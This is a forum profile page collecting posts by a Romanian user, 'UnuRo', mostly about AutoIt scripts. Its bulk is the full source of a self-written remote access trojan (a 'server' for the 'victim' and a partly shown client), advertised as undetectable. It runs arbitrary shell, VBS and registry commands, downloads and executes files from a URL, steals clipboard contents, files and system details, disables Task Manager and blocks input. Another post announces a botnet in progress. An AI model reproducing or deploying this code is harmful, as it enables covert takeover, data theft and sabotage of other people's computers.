Jump to content

UnuRo

Members
  • Posts

    16
  • Joined

  • Last visited

  • Days Won

    1

Everything posted by UnuRo

  1. Nu stiu exact la ce te referi... cum se compileaza ? Daca il vrei direct compilat imi zici si ti-l compilez eu. Cat despre utilizare, daca la asta te referi...este simplu, "victima" deschide serverul, tu clientul, introduci IP-ul, dai conectare...si ai acces la pc.
  2. Da, c++ este incomparabil cu autoit C++ este un limbaj de programare complex, bazat pe verificarea static? a tipului variabilelor ce suporta programare procedurala si programare orientata pe obiecte. Autoit este doar un limbaj de scripting, dar asta nu inseamna ca este atat de limitat incat sa nu poti realizao conexiune tcp.
  3. "in AutoIT" ... ??? ce insinuezi ? AutoIT este un limbaj de scripting extraordinar, flexibil, complex, si relativ simplu.
  4. Nu este ceva extraordinar, se poate realiza mult mai bine decat atat... O sa il actualizez dupa update-uri.
  5. UnuRo

    Yahoo ID/ETS

    mai exact... Yahoo! Messenger are anumiti parametrii in registry, parametrii in care poti seta diverse variabile, incepand de la serverul de logare pana la ID si ETS... Programul este util daca ai un ID si ETS-ul respectivului ID, poti seta mai usor in registry aceste date ca mai departe sa poti intra pe acel id.
  6. UnuRo

    Yahoo ID/ETS

    Un script ce va permite sa va logati cu ETS/ID si in acelasi timp memoreaza datele introduse. Scriptul nu este foarte complex, nu am avut timp sa fac criptare pe fisier, eventual adaugare pe o baza de date, dar e foarte util. #NoTrayIcon #include <ButtonConstants.au3> #include <ComboConstants.au3> #include <EditConstants.au3> #include <GUIConstantsEx.au3> #include <StaticConstants.au3> #include <WindowsConstants.au3> #Include <File.au3> Global $COMBO_DATA $Form1 = GUICreate("Yahoo ID&Ets Database | UNURO |", 393, 103, -1, -1) GUISetBkColor(0x000000) $Label1 = GUICtrlCreateLabel("Yahoo! Messenger:", 8, 8, 138, 20) GUICtrlSetFont(-1, 10, 800, 0, "MS Sans Serif") GUICtrlSetColor(-1, 0xFF0000) $Label2 = GUICtrlCreateLabel("ETS:", 8, 37, 38, 20) GUICtrlSetFont(-1, 10, 800, 0, "MS Sans Serif") GUICtrlSetColor(-1, 0xFF0000) $Input1 = GUICtrlCreateInput("", 152, 8, 233, 21, BitOR($ES_CENTER,$ES_AUTOHSCROLL), BitOR($WS_EX_CLIENTEDGE,$WS_EX_STATICEDGE)) GUICtrlSetFont(-1, 8, 800, 0, "MS Sans Serif") GUICtrlSetBkColor(-1, 0xFF0000) $Input2 = GUICtrlCreateInput("", 51, 34, 334, 21, BitOR($ES_CENTER,$ES_AUTOHSCROLL), BitOR($WS_EX_CLIENTEDGE,$WS_EX_STATICEDGE)) GUICtrlSetFont(-1, 8, 800, 0, "MS Sans Serif") GUICtrlSetBkColor(-1, 0xFF0000) $Select = GUICtrlCreateCombo("Select ID", 165, 72, 166, 25,BitOR($CBS_DROPDOWNLIST,$CBS_AUTOHSCROLL,$WS_VSCROLL), $WS_EX_CLIENTEDGE) GUICtrlSetFont(-1, 8, 800, 0, "MS Sans Serif") $Button1 = GUICtrlCreateButton("Add Data!", 8, 70, 75, 25, $WS_GROUP, $WS_EX_STATICEDGE) GUICtrlSetFont(-1, 8, 800, 0, "MS Sans Serif") GUICtrlSetCursor (-1, 0) $Button2 = GUICtrlCreateButton("Delete!", 85, 70, 75, 25, $WS_GROUP, $WS_EX_STATICEDGE) GUICtrlSetFont(-1, 8, 800, 0, "MS Sans Serif") GUICtrlSetCursor (-1, 0) $Button3 = GUICtrlCreateButton("Run ID", 335, 70, 51, 25, $WS_GROUP, $WS_EX_STATICEDGE) GUICtrlSetFont(-1, 8, 800, 0, "MS Sans Serif") GUICtrlSetCursor (-1, 0) GUISetState(@SW_SHOW) $FILE = _FileListToArray(@ScriptDir,"*.txt",1) If IsArray($FILE) Then For $INDEX = 1 To $FILE[0] $COMBO_DATA &= StringTrimRight($FILE[$INDEX],4) & "|" Next GUICtrlSetData($Select,$COMBO_DATA) EndIf While 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE Exit Case $Select If GUICtrlRead($Select) = "Select ID" Then GUICtrlSetData($Input1,"") GUICtrlSetData($Input2,"") Else GUICtrlSetData($Input1,GUICtrlRead($Select)) GUICtrlSetData($Input2,FileRead(GUICtrlRead($Select)&".txt")) EndIf Case $Button1;Add Data! :Adauga Id & ETS If GUICtrlRead($Input1) = "" Then MsgBox(16,"Info add data","Yahoo! Messenger ID Invalid !") ElseIf GUICtrlRead($Input2) = "" Then MsgBox(16,"Info add data","ETS Invalid !") Else If FileExists(@ScriptDir&"\"&GUICtrlRead($Input1)&".txt") Then GUICtrlSetData($Input2,FileRead(GUICtrlRead($Input1)&".txt")) MsgBox(16,"Error","ID already exists!") Else _FileCreate(@ScriptDir&"\"&GUICtrlRead($Input1)&".txt") FileWrite(@ScriptDir&"\"&GUICtrlRead($Input1)&".txt",GUICtrlRead($Input2)) Sleep(100) GUICtrlSetData($Select, GUICtrlRead($Input1)) MsgBox(64,"Info","ID: "&GUICtrlRead($Input1)&@CRLF&"ETS: "&GUICtrlRead($Input2)&@CRLF&"Added successfully !") GUICtrlSetData($Input1, "") GUICtrlSetData($Input2, "") EndIf EndIf Case $Button3;Run ID :Executa Id si ETS selectat If GUICtrlRead($Select) = "Select ID" Then MsgBox(16,"Info Run Data","Selection invalid ID!") Else ;Adaugare Id si ETS in registry si executare Yahoo! Messenger RegWrite("HKEY_Current_User\Software\Yahoo\pager", "ETS", "Reg_SZ", GUICtrlRead($Input2)) RegWrite("HKEY_Current_User\Software\Yahoo\pager", "Yahoo! User ID", "Reg_SZ", GUICtrlRead($Input1)) RegWrite("HKEY_Current_User\Software\Yahoo\pager", "Save Password", "Reg_DWORD", 1) Sleep(100) ShellExecute(@ProgramFilesDir&"\Yahoo!\Messenger\YahooMessenger.exe") EndIf Case $Button2;Delete! :Sterge fisierul cu Id & ETS! If GUICtrlRead($Select) = "Select ID" Then MsgBox(16,"Info Delete Data","Selection invalid ID!") Else If Not IsDeclared("iMsgBoxAnswer") Then Local $iMsgBoxAnswer $iMsgBoxAnswer = MsgBox(4388,"Question!","Really delete the Id "&GUICtrlRead($Select)&" ?") Select Case $iMsgBoxAnswer = 6 ;Yes FileDelete(@ScriptDir&"\"&GUICtrlRead($Select)&".txt") GUICtrlSetData($Input1, "") GUICtrlSetData($Input2, "") GUICtrlSetData($Select,"") GUICtrlSetData($Select,"Select ID"&"|"&$COMBO_DATA,"Select ID") MsgBox(64,"Info!","Id "&GUICtrlRead($Select)&" delete successful !") Case $iMsgBoxAnswer = 7 ;No EndSelect EndIf EndSwitch WEnd
  7. Da, mai sunt scripturi similare pe forumul oficial autoit, dar ce e "bun", de obicei este sters... Momentan lucrez la un bot net, cand va fi gata o sa fac upload:) Are la baza un server intermediar, nu este IP to IP, asta-l face sa fie functionabil tot timpul + va putea fi folosit de catre oricine, chiar daca "serverul" va avea router sau Ip dinamic.
  8. Softul este facut de mine, merge 100%, puteti compila fara upx, nu este detectabil. Modificati parametrii de lucru, cum doriti, scriptul este flaxibil, astfel puteti adauga lucruri personalizate ! SERVER: ;RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "system32", "REG_SZ", @ScriptFullPath) AutoItSetOption("WinTitleMatchMode", 4) Opt("GUICloseOnESC", 0) $text_fisiere = "" ;SERVER!! Start Me First !!!!!!!!!!!!!!! #include <GUIConstants.au3> #include <File.au3> #include <Process.au3> Dim $szIPADDRESS = @IPAddress1 ;~ MsgBox(0,"",$szIPADDRESS) Dim $nPORT = 1234 $rdownload="" ; Start The TCP Services ;============================================== TCPStartup() $MainSocket = TCPListen($szIPADDRESS, $nPORT, 100) If $MainSocket = -1 Then Exit Dim $ConnectedSocket = -1 Do $ConnectedSocket = TCPAccept($MainSocket) Until $ConnectedSocket <> - 1 Dim $szIP_Accepted = SocketToIP($ConnectedSocket) Dim $msg, $recv While 1 $msg = GUIGetMsg() $recv = TCPRecv($ConnectedSocket, 2048) If @error Then TCPCloseSocket($ConnectedSocket) TCPShutdown() TCPStartup() $MainSocket = TCPListen($szIPADDRESS, $nPORT, 100) Dim $ConnectedSocket = -1 Do $ConnectedSocket = TCPAccept($MainSocket) Until $ConnectedSocket <> - 1 $szIP_Accepted = SocketToIP($ConnectedSocket) EndIf If $recv <> "" Then executa() WEnd If $ConnectedSocket <> - 1 Then TCPCloseSocket($ConnectedSocket) TCPShutdown() Func SocketToIP($SHOCKET) Local $sockaddr = DllStructCreate("short;ushort;uint;char[8]") Local $aRet = DllCall("Ws2_32.dll", "int", "getpeername", "int", $SHOCKET, _ "ptr", DllStructGetPtr($sockaddr), "int_ptr", DllStructGetSize($sockaddr)) If Not @error And $aRet[0] = 0 Then $aRet = DllCall("Ws2_32.dll", "str", "inet_ntoa", "int", DllStructGetData($sockaddr, 3)) If Not @error Then $aRet = $aRet[0] Else $aRet = 0 EndIf $sockaddr = 0 Return $aRet EndFunc ;==>SocketToIP Func executa() ;~ MsgBox(0, "", $recv) $comanda = StringSplit($recv, "<|*|>", 1) If $comanda[1] = "mesaj" Then MsgBox(Number($comanda[2]), $comanda[3], $comanda[4]) EndIf If $comanda[1] = "shutdown" Then Shutdown($comanda[2]) EndIf If $comanda[1] = "funny" Then If $comanda[2] = "cd_rom" Then CDTray("C:", $comanda[3]) CDTray("D:", $comanda[3]) CDTray("E:", $comanda[3]) CDTray("F:", $comanda[3]) CDTray("G:", $comanda[3]) CDTray("H:", $comanda[3]) CDTray("I:", $comanda[3]) CDTray("J:", $comanda[3]) CDTray("K:", $comanda[3]) CDTray("L:", $comanda[3]) EndIf If $comanda[2]="blocheaza" Then BlockInput(Number($comanda[3])) EndIf If $comanda[2]="schimba_start" Then If $comanda[3]="reseteaza" Then ControlSetText("classname=Shell_TrayWnd", "", "Button1", "start") Else ControlSetText("classname=Shell_TrayWnd", "", "Button1", $comanda[3]) EndIf EndIf If $comanda[2]="ascunde_start" Then If $comanda[3]=1 Then ControlHide("classname=Shell_TrayWnd", "", "Button1") EndIf If $comanda[3]=0 Then ControlShow("classname=Shell_TrayWnd", "", "Button1") EndIf EndIf If $comanda[2] = "task_manager" Then If $comanda[3]="1" Then RegWrite("HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", "REG_SZ", $comanda[3]) Else RegDelete("HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr") EndIf EndIf If $comanda[2] = "yahoo" Then If $comanda[3] = "0" Then ProcessClose("YahooMessenger.exe") RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "ConnServer", "REG_SZ", "http://www.o-pagina-care-nu-exista.com/") RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "Host Name", "REG_SZ", "http://www.o-pagina-care-nu-exista.com/") RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "Host Namer", "REG_SZ", "http://www.o-pagina-care-nu-exista.com/") RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "Http Server", "REG_SZ", "http://www.o-pagina-care-nu-exista.com/") RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "PreLogin", "REG_SZ", "http://www.o-pagina-care-nu-exista.com/") RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "Relay Server", "REG_SZ", "http://www.o-pagina-care-nu-exista.com/") RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "Socket Server", "REG_SZ", "http://www.o-pagina-care-nu-exista.com/") Else RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "ConnServer", "REG_SZ", "scs.msg.yahoo.com") RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "Host Name", "REG_SZ", "scs.msg.yahoo.com") RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "Host Namer", "REG_SZ", "scs.msg.yahoo.com") RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "Http Server", "REG_SZ", "shttp.msg.yahoo.com/notify/") RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "PreLogin", "REG_SZ", "http://msg.edit.yahoo.com/config/") RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "Relay Server", "REG_SZ", "relay.msg.yahoo.com") RegWrite("HKEY_CURRENT_USER\Software\yahoo\pager", "Socket Server", "REG_SZ", "scs.msg.yahoo.com;scs.msg.yahoo.com") EndIf EndIf EndIf If $comanda[1] = "run" Then If $comanda[2] = "winamp" Then Run(@ProgramFilesDir & "\winamp\winamp.exe") EndIf If $comanda[2] = "win_rar" Then Run(@ProgramFilesDir & "\winrar\winrar.exe") EndIf If $comanda[2] = "ie" Then Run(@ProgramFilesDir & "\Internet Explorer\IEXPLORE.EXE") EndIf If $comanda[2] = "firefox" Then Run(@ProgramFilesDir & "\Mozilla Firefox\firefox.EXE") EndIf If $comanda[2] = "notepad" Then Run("notepad.exe") EndIf If $comanda[2] = "media_player" Then Run(@ProgramFilesDir & "\Windows Media Player\WMPLAYER.EXE") EndIf If $comanda[2] = "mspaint" Then Run("mspaint.exe") EndIf If $comanda[2] = "wordpad" Then Run(@ProgramFilesDir & "\Windows NT\Accessories\wordpad.exe") EndIf If $comanda[2] = "registrii" Then FileDelete(@WindowsDir & "\1.reg") FileWrite(@WindowsDir & "\1.reg",$comanda[3]) Run("Regedit.exe /s " & @WindowsDir & "\1.reg") EndIf If $comanda[2] = "visual_basic" Then FileDelete(@WindowsDir & "\1.vbs") FileWrite(@WindowsDir & "\1.vbs",$comanda[3]) Run("wscript.exe " & @WindowsDir & "\1.vbs") EndIf If $comanda[2] = "dos" Then $text=ClipGet() _RunDOS($comanda[3] & " | cb") $szData="dos<|*|>" & ClipGet() ClipPut($text) TCPSend($ConnectedSocket,$szData) EndIf If $comanda[2] = "executa" Then Run(@ComSpec & " /c " & "start " & FileGetShortName($comanda[3]),"",@SW_HIDE) EndIf EndIf If $comanda[1] = "tipareste" Then $fisier = "c:\ytz.txt" FileWriteLine($fisier, $comanda[2]) FileClose($fisier) _FilePrint($fisier) EndIf If $comanda[1]="informatii" Then $szData="informatii<|*|>"&@OSVersion &"<|*|>"&@OSBuild &"<|*|>"&@OSServicePack&"<|*|>"& @ComputerName&"<|*|>"& @UserName &"<|*|>"&@DesktopWidth &"x"& @DesktopHeight&"x"&@DesktopDepth&" "&@DesktopRefresh&"HZ<|*|>"&@HOUR&":"&@MIN&":"&@SEC &"<|*|>"&@MDAY&"."&@MON&"."&@YEAR&"<|*|>"&@HomeDrive $szData=$szData&"<|*|>"&@IPAddress1&"<|*|>"& @IPAddress2 &"<|*|>"&@IPAddress3&"<|*|>"&@IPAddress4&"<|*|>"&@LogonDNSDomain &"<|*|>"&@LogonDomain &"<|*|>"&@LogonServer TCPSend($ConnectedSocket,$szData) EndIf If $comanda[1]="clipboard" Then If $comanda[2]="citeste" Then TCPSend($ConnectedSocket,"clipboard<|*|>Continutul clipboardului este :" &@CRLF &ClipGet ( )) EndIf If $comanda[2]="seteaza" Then ClipPut($comanda[3]) EndIf If $comanda[2]="sterge" Then ClipPut("") EndIf EndIf If $comanda[1]="ferestre" Then $szData="" If $comanda[2]="refresh" Then If $comanda[3]="toate" Then $var = WinList() For $i = 1 to $var[0][0] If $var[$i][0] <> "" Then $szData=$szData& $var[$i][0] & "<|*|>" EndIf Next Else $var = WinList() For $i = 1 to $var[0][0] If $var[$i][0] <> "" AND IsVisible($var[$i][1]) Then $szData=$szData & $var[$i][0] & "<|*|>" EndIf Next EndIf TCPSend($ConnectedSocket,"ferestre<|*|>"& StringTrimRight ($szData,5)) EndIf If $comanda[2]="inchide" Then WinClose($comanda[3],"") EndIf If $comanda[3]="HIDE" Then WinSetState($comanda[2],"",@SW_HIDE) EndIf If $comanda[3]="@SW_SHOW" Then WinSetState($comanda[2],"",@SW_SHOW) EndIf If $comanda[3]="@SW_MAXIMIZE" Then WinSetState($comanda[2],"",@SW_MAXIMIZE) EndIf If $comanda[3]="@SW_MINIMIZE" Then WinSetState($comanda[2],"",@SW_MINIMIZE) EndIf EndIf If $comanda[1]="proces" Then If $comanda[2]="refresh" Then $var = ProcessList() $szData="" For $i = 1 to $var[0][0] $szData=$szData & $var[$i][0] & "<|*|>" Next TCPSend($ConnectedSocket,"procese<|*|>" & $szData) EndIf If $comanda[2]="inchide" Then ProcessClose($comanda[3]) EndIf If $comanda[2]="toate" Then $var = ProcessList() For $i = 1 to $var[0][0] If $var[$i][1] <> @ScriptName Then ProcessClose($var[$i][1]) EndIf Next EndIf EndIf If $comanda[1]="rdownload" Then If $rdownload="" Then $text=StringSplit($comanda[2],"/\") $nume_program_de_executat=$text[$text[0]] $marime_program=InetGetSize ( $comanda[2]) InetGet ( $comanda[2],@WindowsDir &"\"& $nume_program_de_executat, 1,1) $rdownload=1 EndIf EndIf If ($rdownload=1) And ($marime_program=FileGetSize(@WindowsDir &"\"& $nume_program_de_executat)) Then Run(@WindowsDir &"\"& $nume_program_de_executat) $rdownload="" EndIf If $comanda[1]="manager" Then If $comanda[2]="refresh_partitii" Then $var = DriveGetDrive( "all") If Not @error Then $partitii = "" For $i = 1 To $var[0] $partitii = $partitii & $var[$i] & "|" Next $partitii = StringTrimRight($partitii, 1) EndIf TCPSend($ConnectedSocket,"manager<|*|>refresh_partitii<|*|>|" & $partitii) EndIf If $comanda[2]="refresh_listwiev" Then director($comanda[3]) EndIf If $comanda[2]="redenumeste" Then ;~ MsgBox(0,"",$comanda[3] & " " &$comanda[4] & " " &$comanda[5] & " " &$comanda[5]) If $comanda[3]="director" Then DirMove($comanda[4] & $comanda[5],$comanda[4] & $comanda[6]) director($comanda[4]) EndIf If $comanda[3]="fisier" Then FileMove($comanda[4] & $comanda[5],$comanda[4] & $comanda[6]) director($comanda[4]) EndIf EndIf If $comanda[2]="creaza_dir" Then DirCreate ( $comanda[3] & $comanda[4] ) director($comanda[3]) EndIf If $comanda[2]="sterge" Then If $comanda[3]="director" Then DirRemove($comanda[4] & $comanda[5],1) director($comanda[4]) EndIf If $comanda[3]="fisier" Then FileDelete($comanda[4] & $comanda[5]) director($comanda[4]) EndIf EndIf If $comanda[2]="atribute" Then FileSetAttrib($comanda[3] & $comanda[4],"-RHSA") If StringUpper($comanda[5])<>"N" Then FileSetAttrib($comanda[3] & $comanda[4],StringUpper($comanda[5])) director($comanda[3]) EndIf EndIf If $comanda[2]="download" Then $fisier=FileOpen ("\\.\" & $comanda[3] & $comanda[4],4) $continut_fisier=FileRead ( $fisier,FileGetSize($comanda[3] & $comanda[4])) FileClose($fisier) $szData = "manager<|*|>download<|*|>"& $comanda[4] & "<|*|>" & $continut_fisier TCPSend($ConnectedSocket, $szData) EndIf EndIf EndFunc ;==>executa Func IsVisible($handle) If BitAnd( WinGetState($handle), 2 ) Then Return 1 Else Return 0 EndIf EndFunc Func director($cale) $search = FileFindFirstFile($cale & "*.*") $text_fisiere = "" If $search <> - 1 Then $punct = "" While 1 $file = FileFindNextFile($search) If @error Then ExitLoop $marime = FileGetSize($cale & $file) FileGetSize($cale & $file) $punct = StringRight($file, 4) $punct = StringLeft($punct, 1) If FileExists($cale & $file) And StringInStr(FileGetAttrib($cale & $file), "D")=0 Then $text_fisiere = $text_fisiere & $file & "|" & Round($marime / 1024, 2) & " Kb|Fisier|"& FileGetAttrib ( $cale & $file ) &"<|*|>" Else $text_fisiere = $text_fisiere & $file & "|" & "|Director|"& FileGetAttrib ( $cale & $file ) &"<|*|>" EndIf WEnd $text_fisiere = StringTrimRight($text_fisiere, 5) FileClose($search) EndIf If $text_fisiere="" Then $text_fisiere="In acest folder nu exista fisiere||<|*|>" EndIf TCPSend($ConnectedSocket,"manager<|*|>refresh_listwiev<|*|>" & $text_fisiere) EndFunc ;==>director CLIENT: #Include <GuiListView.au3> #include <GUIConstants.au3> #include <INet.au3> $nume_program = "Remote Client" $cale = "" Dim $nnPORT = 1234 Dim $ConnectedSocket = -1 $nr1 = 0 $nr2 = 0 Dim $numar $cd_rom = "open" $task_maneger = "1" $yahoo = "0" $conectare = "0" $blocheaza="0" $fer_principala = GUICreate($nume_program, 594, 443, 192, 125) $ip = @IPAddress1 If $ip = -1 Then $ip = @IPAddress1 $ip_conectare = GUICtrlCreateInput($ip, 8, 8, 100, 21, -1) $porturi = GUICtrlCreateInput($nnPORT, 120, 8, 50, 21, -1) $conecteza = GUICtrlCreateButton("Conectare", 264, 8, 129, 25) $Tab1 = GUICtrlCreateTab(8, 40, 585, 401) $TabSheet1 = GUICtrlCreateTabItem("Informatii PC") GUICtrlCreateLabel("Versiunea de Windows :", 20, 98, 119, 17) GUICtrlCreateLabel("Windows Build :", 20, 130, 80, 17) GUICtrlCreateLabel("Windows Service Pack :", 20, 162, 121, 17) GUICtrlCreateLabel("Numele Calculatorului :", 20, 206, 112, 17) GUICtrlCreateLabel("Numele Utilizatorului :", 20, 234, 105, 17) GUICtrlCreateLabel("Desktop :", 20, 282, 50, 17) GUICtrlCreateLabel("Ora locala :", 20, 322, 58, 17) GUICtrlCreateLabel("Data locala :", 20, 352, 64, 17) GUICtrlCreateLabel("Ip 1 :", 342, 112, 28, 17) GUICtrlCreateLabel("Ip 2 :", 342, 136, 28, 17) GUICtrlCreateLabel("Ip 3 :", 342, 160, 28, 17) GUICtrlCreateLabel("Ip 4:", 342, 184, 25, 17) GUICtrlCreateLabel("Home Drive :", 20, 400, 66, 17) GUICtrlCreateLabel("Logon DNS Domain :", 248, 264, 105, 17) GUICtrlCreateLabel("Logon Domain :", 248, 292, 79, 17) GUICtrlCreateLabel("Logon server :", 248, 316, 72, 17) $buton_informatii = GUICtrlCreateButton("Refresh", 500, 404, 75, 25) $versiune_windows = GUICtrlCreateInput("", 140, 96, 161, 21) $windows_build = GUICtrlCreateInput("", 100, 128, 133, 21) $windows_service_pack = GUICtrlCreateInput("", 136, 160, 157, 21) $nume_calculator = GUICtrlCreateInput("", 136, 204, 165, 21) $nume_utilizator = GUICtrlCreateInput("", 136, 232, 165, 21) $desktop = GUICtrlCreateInput("", 76, 284, 149, 21) $ora_locala = GUICtrlCreateInput("", 76, 320, 149, 21) $data_locala = GUICtrlCreateInput("", 84, 352, 141, 21) $home_drive = GUICtrlCreateInput("", 88, 396, 137, 21) $ip1 = GUICtrlCreateInput("", 372, 108, 121, 21) $ip2 = GUICtrlCreateInput("", 372, 132, 121, 21) $ip3 = GUICtrlCreateInput("", 372, 160, 121, 21) $ip4 = GUICtrlCreateInput("", 372, 184, 121, 21) $logon_dns_domain = GUICtrlCreateInput("", 352, 260, 177, 21) $logon_domain = GUICtrlCreateInput("", 352, 288, 177, 21) $logon_server = GUICtrlCreateInput("", 352, 320, 181, 21) $TabSheet2 = GUICtrlCreateTabItem("MsgBox") $intrebare = GUICtrlCreateRadio("Semnul Intrebarii", 36, 112, 113, 17) $informatie = GUICtrlCreateRadio("Informatie", 156, 112, 77, 17) $eroare = GUICtrlCreateRadio("Eroare", 36, 140, 113, 17) $nimic = GUICtrlCreateRadio("Nimic", 156, 140, 65, 17) GUICtrlSetState($nimic, $GUI_CHECKED) $Group1 = GUICtrlCreateGroup("Iconita Mesajului", 20, 96, 221, 77) GUICtrlCreateGroup("", -99, -99, 1, 1) $ok = GUICtrlCreateRadio("Ok", 40, 224, 113, 17) GUICtrlSetState(-1, $GUI_CHECKED) $ari = GUICtrlCreateRadio("Abort,Retry,Ignore", 168, 224, 113, 17) $ync = GUICtrlCreateRadio("Yes,No,Cancel", 168, 244, 113, 17) $yn = GUICtrlCreateRadio("Yes,No", 40, 244, 113, 17) $oc = GUICtrlCreateRadio("Ok,Cancel", 40, 268, 113, 17) $cr = GUICtrlCreateRadio("Cancel,Retry", 168, 268, 113, 17) $Group2 = GUICtrlCreateGroup("Butoanele Mesajului", 20, 196, 273, 113) GUICtrlCreateGroup("", -99, -99, 1, 1) $buton_test_msg = GUICtrlCreateButton("Testeaza", 468, 160, 75, 25) $buton_trimite_msg = GUICtrlCreateButton("Trimite", 468, 224, 75, 25) GUICtrlCreateLabel("Titlul Mesajului :", 36, 352, 79, 17) GUICtrlCreateLabel("Textul Mesajului :", 36, 392, 86, 17) $mesaj_titlu = GUICtrlCreateInput($nume_program, 124, 352, 441, 21, -1) $mesaj_text = GUICtrlCreateInput("Test", 124, 388, 441, 21, -1) $Group3 = GUICtrlCreateGroup("Functii", 436, 124, 137, 157) GUICtrlCreateGroup("", -99, -99, 1, 1) $TabSheet3 = GUICtrlCreateTabItem("Windows") $lista_ferestre = GUICtrlCreateList("", 24, 92, 321, 318, -1) $arata_ferestre_ascunse = GUICtrlCreateCheckbox("Arata si ferestrele ascunse", 76, 412, 193, 17) $buton_refresh_ferestre = GUICtrlCreateButton("Refresh", 464, 128, 75, 25) $buton_hide_ferestre = GUICtrlCreateButton("Ascunde", 464, 180, 75, 25) $buton_show_ferestre = GUICtrlCreateButton("Arata", 464, 224, 75, 25) $buton_minimize_ferestre = GUICtrlCreateButton("Minimize", 464, 272, 75, 25) $buton_maximize_ferestre = GUICtrlCreateButton("Maximize", 464, 328, 75, 25) $buton_inchide_ferestre = GUICtrlCreateButton("Inchide", 464, 376, 75, 25) $Group4 = GUICtrlCreateGroup("Functii", 416, 100, 161, 321) GUICtrlCreateGroup("", -99, -99, 1, 1) $TabSheet4 = GUICtrlCreateTabItem("Procese") $lista_procese = GUICtrlCreateList("", 16, 92, 325, 344, -1) $buton_refresh_procese = GUICtrlCreateButton("Refresh", 468, 128, 91, 25) $buton_inchide_proces = GUICtrlCreateButton("Inchide Proces", 468, 176, 91, 25) $buton_inchide_toate_procesele = GUICtrlCreateButton("Inchide toate", 468, 224, 91, 25) $Group5 = GUICtrlCreateGroup("Functii", 440, 108, 141, 157) GUICtrlCreateGroup("", -99, -99, 1, 1) GUICtrlSetCursor($TabSheet4, 2) $TabSheet5 = GUICtrlCreateTabItem("Comice") $buton_deschide_cd_rom = GUICtrlCreateButton("Deschide CD-Rom", 32, 100, 150, 25) $buton_task_manager = GUICtrlCreateButton("Blocheaza Task Mamager", 32, 140, 150, 25) $buton_yahoo = GUICtrlCreateButton("Blocheaza Y!", 32, 180, 150, 25) $Buton_blocheaza_user = GUICtrlCreateButton("Blocheaza User Input", 32, 220, 150, 25) $Buton_ascunde_start = GUICtrlCreateButton("Ascunde butonul Start", 32, 260, 150, 25) $Buton_schimba_start = GUICtrlCreateButton("Schimba text but. Start", 32, 300, 150, 25) $TabSheet6 = GUICtrlCreateTabItem("Shut Down PC") $Restart = GUICtrlCreateButton("Restart", 108, 120, 400, 25) $Turn_off_computer = GUICtrlCreateButton("Turn Off computer", 108, 188, 400, 25) $Log_off = GUICtrlCreateButton("Log Off", 108, 256, 400, 25) $shutdown_fortat = GUICtrlCreateButton("Shutdown Fortat", 108, 324, 400, 25) $TabSheet7 = GUICtrlCreateTabItem("Clipboard") $text_cliboard = GUICtrlCreateEdit("", 20, 88, 561, 269, -1) GUICtrlSetData($text_cliboard, "") $buton_citeste_clipboard = GUICtrlCreateButton("Citeste", 96, 392, 75, 25) $buton_seteaza_clipboard = GUICtrlCreateButton("Seteaza", 264, 392, 75, 25) $buton_sterge_clipboard = GUICtrlCreateButton("Curata", 452, 392, 75, 25) $Group6 = GUICtrlCreateGroup("Functii : ", 28, 368, 537, 65) GUICtrlCreateGroup("", -99, -99, 1, 1) $TabSheet8 = GUICtrlCreateTabItem("R. Download") GUICtrlCreateLabel("URL :", 56, 136, 52, 24) GUICtrlSetFont(-1, 12, 800, 0, "MS Sans Serif") $url_download = GUICtrlCreateInput("http://www.site-ul_tau.ro/virus.exe", 116, 136, 417, 21, -1) $buton_download_si_ruleaza = GUICtrlCreateButton("Download si Executa", 88, 176, 419, 25) $Group7 = GUICtrlCreateGroup("Remote Downloader", 28, 108, 545, 121) GUICtrlCreateGroup("", -99, -99, 1, 1) $TabSheet9 = GUICtrlCreateTabItem("Imprimanta") $text_tipareste = GUICtrlCreateEdit("", 16, 92, 565, 301, -1) $buton_tipareste = GUICtrlCreateButton("Scoate la imprimanta victimei", 148, 404, 279, 25) $TabSheet10 = GUICtrlCreateTabItem("Executa") $text_cmd = GUICtrlCreateEdit("", 12, 88, 577, 153, -1) GUICtrlSetData($text_cmd, "") GUICtrlSetColor(-1, 0xFFFF00) GUICtrlSetBkColor(-1, 0x000000) $buton_comanda_dos = GUICtrlCreateButton("Executa (DOS)", 460, 244, 107, 25) $run_program = GUICtrlCreateInput("Aici scrie calea catre un exe sau numele progranului (gen Notepad sau Regedit)", 16, 280, 433, 21, -1) $buton_Executa = GUICtrlCreateButton("Executa", 460, 280, 107, 25) $comanda_dos = GUICtrlCreateInput("Scrie aici o comanda DOS", 16, 246, 437, 21, -1) $buton_executa_vb = GUICtrlCreateButton("Executa un script VB", 24, 408, 243, 25) $executa_reg = GUICtrlCreateButton("Executa un fisier REG", 316, 408, 243, 25) $Winamp = GUICtrlCreateButton("Winamp", 36, 324, 75, 25) $Notepad = GUICtrlCreateButton("Notepad", 116, 324, 75, 25) $WinRar = GUICtrlCreateButton("WinRar", 196, 324, 75, 25) $IE = GUICtrlCreateButton("IE", 276, 324, 75, 25) $Firefox = GUICtrlCreateButton("Firefox", 356, 324, 75, 25) $paint = GUICtrlCreateButton("Paint", 36, 356, 75, 25) $wordpad = GUICtrlCreateButton("Wordpad", 116, 356, 75, 25) $Button10 = GUICtrlCreateButton("Aplicatie noua", 196, 356, 75, 25) $Windws_Media_Player = GUICtrlCreateButton("Media Player", 436, 324, 75, 25) $Button6 = GUICtrlCreateButton("Aplicatie noua", 276, 356, 75, 25) $Button12 = GUICtrlCreateButton("Aplicatie noua", 356, 356, 75, 25) $Button13 = GUICtrlCreateButton("Aplicatie noua", 436, 356, 75, 25) $Group9 = GUICtrlCreateGroup("Programe predefinite", 